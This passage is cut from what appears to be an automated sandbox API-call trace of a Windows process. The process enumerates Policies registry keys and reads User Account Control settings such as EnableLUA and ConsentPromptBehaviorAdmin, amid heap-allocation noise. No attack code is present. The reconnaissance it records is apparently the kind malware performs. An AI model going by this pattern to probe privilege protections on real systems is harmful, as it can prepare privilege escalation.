out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0038.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x21eb930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x21ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0038.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x21eb930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x21ec0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0038.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x21eb930, cchName=0x104 | out: lpName="System") returned 0x0 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0038.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21ec120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0038.899] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0038.899] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb930) returned 1 [0038.899] RegCloseKey (hKey=0xc4) returned 0x0 [0038.899] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb860) returned 1 [0038.899] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21eb860 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb878 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb888 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb898 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb930 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1b0 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21eb940 [0038.900] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb860) returned 1 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb860 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb968 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec240 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb978 [0038.900] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.900] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb988 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec2d0 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21eb998 [0038.901] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb940) returned 1 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb940 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec318 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb950 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec360 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9d0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3a8 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9e0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3f0 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec438 [0038.901] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb998) returned 1 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb998 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec480 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9a8 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec4c8 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9b8 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec510 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9f0 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec558 [0038.901] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0038.901] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.902] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.902] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.902] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.902] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb878) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec120) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb888) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec168) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb898) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1b0) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb930) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec1f8) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb860) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec240) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb968) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec288) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb978) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec2d0) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb988) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec318) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb940) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec360) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb950) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec3a8) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb9d0) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec3f0) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb9e0) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec480) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb998) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec4c8) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb9a8) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec510) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb9b8) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec558) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb9f0) returned 1 [0038.902] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec438) returned 1 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec438 [0038.903] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.903] RegQueryValueExA (in: hKey=0x38, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x21ec438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x21ec438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0038.903] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec438) returned 1 [0038.903] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21eb860 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb878 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec5a0 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb888 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec438 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb898 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec558 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb930 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec510 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21eb940 [0038.903] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb860) returned 1 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb860 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec4c8 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb968 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec480 [0038.903] RegEnumValueA (in: hKey=0x38, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb978 [0038.903] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3f0 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb988 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec3a8 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x30) returned 0x21eb998 [0038.904] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb940) returned 1 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb940 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec360 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb950 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec318 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9d0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec2d0 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9e0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec288 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec240 [0038.904] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb998) returned 1 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb998 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1f8 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21eb9a8 [0038.904] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec1b0 [0038.904] RegEnumValueA (in: hKey=0x38, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed1e8 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec168 [0038.905] RegEnumValueA (in: hKey=0x38, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed1f8 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec120 [0038.905] RegEnumValueA (in: hKey=0x38, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec0d8) returned 1 [0038.905] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21ec0d8 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec5a0) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb878) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec438) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb888) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ec558) returned 1 [0038.905] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eb898) 